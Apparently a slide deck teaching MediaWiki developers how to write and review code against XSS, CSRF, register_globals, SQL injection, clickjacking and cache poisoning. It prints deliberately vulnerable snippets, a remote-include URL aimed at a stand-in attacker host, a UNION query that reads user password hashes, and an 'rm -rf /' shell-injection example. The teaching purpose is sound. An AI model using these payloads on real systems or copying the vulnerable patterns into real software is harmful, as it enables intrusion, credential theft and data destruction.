Writing secure code and reviewing code for security

Slides available at: tstarling.com/presentations

Common vulnerability types

- Cross-site scripting (XSS)
- Cross-site request forgery (CSRF)
- register_globals
- SQL injection

Cross-site scripting

- XSS occurs when an attacker is able to inject scripts into a page on a trusted domain
- Results in:
  - Authenticated requests
  - Session hijacking
  - Perhaps even password disclosure

Cross-site scripting

- Reflected XSS

```
$search = htmlspecialchars( $req->getVal( 'search' ) );
$out->addHTML( "<input name='search' value='$search' />" );
```

- Stored XSS

```
$res = $dbr->query("SELECT id, title FROM `articles`");
foreach ($res as $row) {
    $out->addHTML( "<a href='read.php?id={$article->id}'>" .
        $article->title .
        "</a>";
}
```

Cross-site scripting

- To avoid XSS, the basic principles are:
  - Validate your input
  - Escape your output
- Trust no input
- Escape everything, close to the output, so that the reviewer can verify that it was done
- Always use double quotes for attributes, if you must construct them yourself

Reviewing for XSS

- Look for places where HTML is constructed
- Identify insecurely injected variables and trace the data flow backwards
- Stop tracing if a safe escaping function is found
- If there was no escaping, consider how trusted the data source is

Reviewing other text protocols

- Reviewing for injection into any text protocol can be done with the same technique:
  - SQL
  - CSS
  - Shell commands
  - Wikitext
  - Any DIY text protocol

Spot the XSS

- http://tstarling.com/xss
- Hint: in EmbedVideo.hooks.php, the parserFunction_*() functions have arbitrary inputs

Spot the XSS

- Answers:
  - $align
  - $id
  - Validation works better when it's not commented out

```
    private static function verifyID($entry, $id) {
        $idhtml = htmlspecialchars($id);
        //$idpattern = (isset($entry['id_pattern']) ?
$entry['id_pattern'] : '%[^A-Za-z0-9_\\-]%');
        //if ($idhtml == null || preg_match($idpattern, $idhtml)) {
        return ($idhtml != null);
    }
```

Cross-site request forgery

- Offsite JavaScript submits a form on behalf of an authenticated user
- The web app receives the request with the victim's cookies and acts on it
- Possibly the most common type of web app vulnerability
- A common pitfall for inexperienced developers

Cross-site request forgery: mitigation

- Use HTMLForm if possible
- Typical defence using User::getEditToken():

```
function showForm() {
    ...
    $out->addHTML(
        Html::hidden( 'token', $user->editToken() ) );
    ...
}

function submitForm() {
    ...
    if ( !$user->matchEditToken(
            $req->getVal( 'token' ) ) )
    {
        ... CSRF detected - stop the request right now ...
        return
    }
    // OK, continue submit
    ...
}
```

Reviewing for CSRF

- Check form submission path for User::matchEditToken()
- Can also be done by black-box testing:
  - Check HTML form source for an edit token
  - Modify the edit token with Firebug or similar to see if the form still works

JavaScript cross-site data leakage

- Executable JavaScript code violates the same-origin policy
- <script> tag allows the code to be executed in the context of a different request
- Interception of:
  - Function calls
  - Array construction
  - Global variables

JavaScript cross-site data leakage

- JSON data can be disclosed via Array.prototype override
- What keeps us safe?
  - Our JSON responses typically have an object literal with more than one member
    - Non-executable
- JSONP explicitly allows cross-site data leakage

JavaScript cross-site data leakage

- Coding practices:
  - Extend api.php, don't provide your own interface
  - Don't include private data in ResourceLoader responses, except with:

```
public function getGroup() {
    return 'private';
}
```

register_globals

- Deprecated in PHP 5.3, removed in 5.4
- Presumed to be still commonly enabled on shared hosts, but perhaps a fading threat
- MediaWiki historically encouraged vulnerable code with its $IP variable
- $IP concept mimicked by extensions (e.g. $smwgIP)
- In hindsight, the issue could have been mostly avoided

register_globals

- register_globals causes variables from the request to be registered as global variables
- PHP files with .php ending can be exploited
- Example:
  - http://victim.com/w/extensions/SomeExtension/SomeExtensionFile.php?IP=\\attacker.com\attack\

register_globals

- Vulnerable code

```
require( "$IP/extensions/MyExtension/CommonFunctions.php" );
```

- Alternative: autoloader

```
$wgAutoloadClasses['MyExtensionFunctions'] =
    "$IP/extensions/MyExtension/CommonFunctions.php";
MyExtensionFunctions::foo();
```

- Alternative: dirname(__FILE__)

```
require( dirname( __FILE__ ) . "/extensions" .
    "/MyExtension/CommonFunctions.php" );
```

Reviewing for register_globals

- Can be done by reading the top of each file
- There is an automated scanner available that catches the most common errors:

  http://svn.wikimedia.org/svnroot

  /mediawiki/trunk/tools/rg-vuln-check

SQL injection

- Relatively rare in MediaWiki but common elsewhere
- Extremely dangerous
- May lead to disclosure of the entire database contents

SQL injection

- Example:

```
$limit = $wgRequest->getVal( 'limit' );
$res = $db->query( "SELECT * from kitties LIMIT $limit" );
```

- The query could become:

  SELECT * FROM kitties LIMIT 1 UNION
  SELECT user_password,1,1,1 FROM user

SQL injection: mitigation

- Use query builder functions like Database::select()
- Know the limitations of the query builder functions
- Query builder interfaces accept SQL expressions in certain contexts, these expressions must be constructed carefully

```
$res = $dbr->select( 'table', '*', array(
    'time > ' . $request->getVal( 'time' ) ) );
```

Less common vulnerability types

Clickjacking

- The victim page is included in the attacker's site in an iframe
- CSS is used to make the victim page invisible but still clickable
- The user is tricked into clicking or dragging elements on the victim page, causing
  - Some malicious action, like CSRF
  - Drag and drop of sensitive data into the parent frame

Clickjacking: mitigation

- Send X-Frame-Options: DENY
  - This is the default for OutputPage
- Don't include sensitive forms on action=view
- Or on any other page which calls OutputPage::allowClickjacking()
  - Special:Allpages, Special:Categories, Special:JavaScriptTest, Special:LinkSearch, Special:Search, Special:Specialpages, Special:Version

IE 6 extension detection

- IE 6 can detect file extensions in the query string
- Undermines assumptions about the safety of streaming plain text
- Required three MediaWiki core releases to fix it properly
- Solution for extension developers:
  - Extend the API
  - Append &* to API URLs which include user input

Dangerous uploaded files

- Wide range of issues
  - XSS
  - File type misdetection
  - Browser DOS
  - Malware distribution
- Mostly contained to the MediaWiki core

External utilities

- Shelling out to external utilities has two major security aspects:
  - Shell escaping
  - Security of the invoked app
- Many shell commands were not designed with untrusted input in mind
- Examples:
  - gnuplot: `` `rm -rf /` ``
  - ImageMagick: delegate vulnerability

Cache poisoning

- Response with private data is sent out with public caching headers
- Allows an attacker to read the response from the cache server without being logged in
- Can be triggered with a CSRF-style attack on a logged-in user
- Solution: don't allow the user to trigger public caching of private data

Cache poisoning

- Example: http://bugzilla.wikimedia.org/33117

Security review ethics

- Report security vulnerabilities privately to the author or maintainer
- Larger projects have security@<domain>
- For smaller projects, find the founder's email address
- Do not disclose publicly unless:
  - A fix is released; or
  - Months have elapsed and all other possible options are exhausted

Further reading

- Open Web Application Security Project: https://www.owasp.org/